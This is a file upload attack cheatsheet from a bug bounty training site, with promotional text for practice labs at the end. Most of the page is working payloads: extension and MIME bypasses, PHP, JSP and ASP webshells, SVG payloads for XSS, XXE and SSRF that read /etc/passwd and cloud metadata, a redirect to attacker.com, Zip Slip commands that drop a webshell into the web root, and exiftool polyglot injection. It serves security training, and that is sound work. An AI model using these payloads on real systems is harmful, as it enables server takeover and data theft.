File Upload Cheatsheet

File Upload Vulnerabilities

Quick reference

→Always try multiple alternative extensions: .php5, .phtml, .phar, .shtml
→Magic bytes (GIF89a;) bypass validations that only check the first bytes
→SVG is an ideal vector because it supports JS (XSS), XML (XXE) and URLs (SSRF) at once
→If you can upload .htaccess, any extension can be executed as PHP
→Command injection in filename: try ||, &&, ;, backticks and $() in the file name

Extension bypass

Double extension

shell.php.jpg

Extension with null bytePHP < 5.3 truncates at the null byte

shell.php%00.jpg

Alternative PHP extension

shell.php5 / shell.phtml / shell.phar / shell.phps

Extension with trailing dot

shell.php.

Extension with spaces

shell.php%20

Extension case manipulation

shell.pHp / shell.PHP

Semicolon (IIS)IIS ignores everything after the semicolon

shell.asp;.jpg

Extension with NTFS streamWindows NTFS alternate data stream

shell.php::$DATA

Content-Type bypass

Change MIME to imageChange the Content-Type but keep PHP content

Content-Type: image/jpeg

MIME SVGSVG can contain JavaScript and XXE

Content-Type: image/svg+xml

MIME GIF with magic bytesGIF89a are the GIF magic bytes

GIF89a; <?php system($_GET["cmd"]); ?>

MIME PDF

Content-Type: application/pdf

Webshells

Simple PHP webshell

<?php system($_GET['cmd']); ?>

Short PHP webshell

<?=`$_GET[0]`?>

JSP webshell

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASP webshell

<% eval request("cmd") %>

Python (Jinja2 SSTI on upload)

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Malicious SVG

SVG + XSS

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>

SVG + XXE

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>

SVG + SSRF redirect

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="http://169.254.169.254/latest/meta-data/"></image>
</svg>

SVG + Open Redirect

<svg onload="window.location='http://attacker.com'" xmlns="http://www.w3.org/2000/svg"></svg>

Zip Slip and file processing

Zip Slip path traversalCreates a ZIP with files that use path traversal on extraction

python evilarc.py webshell.php -d 6 -o unix -p "var/www/html/"

Command injection in filenameIf the backend processes the filename in a shell command

filename="test || sleep 30 ||.gif"

Polyglot JPEG/PHPInserts PHP into the EXIF metadata of a real image

exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg

.htaccess uploadIf you can upload .htaccess, .jpg files run as PHP

AddType application/x-httpd-php .jpg

Tools

fuxploider

Automated file upload fuzzer that tries multiple bypass techniques

python3 fuxploider.py --url https://target.com/upload --not-regex "error"

exiftool

Injects a payload into the EXIF metadata of real images

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

evilarc

Generates ZIP files with path traversal for Zip Slip attacks

python evilarc.py shell.php -d 5 -o unix -p "var/www/html/"

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs

hunters training: 650
labs from real reports: 50
completions: 380
in bounties practiced: $200,000

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy

BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

Create free account See the labs

No card · free Academy · cancel anytime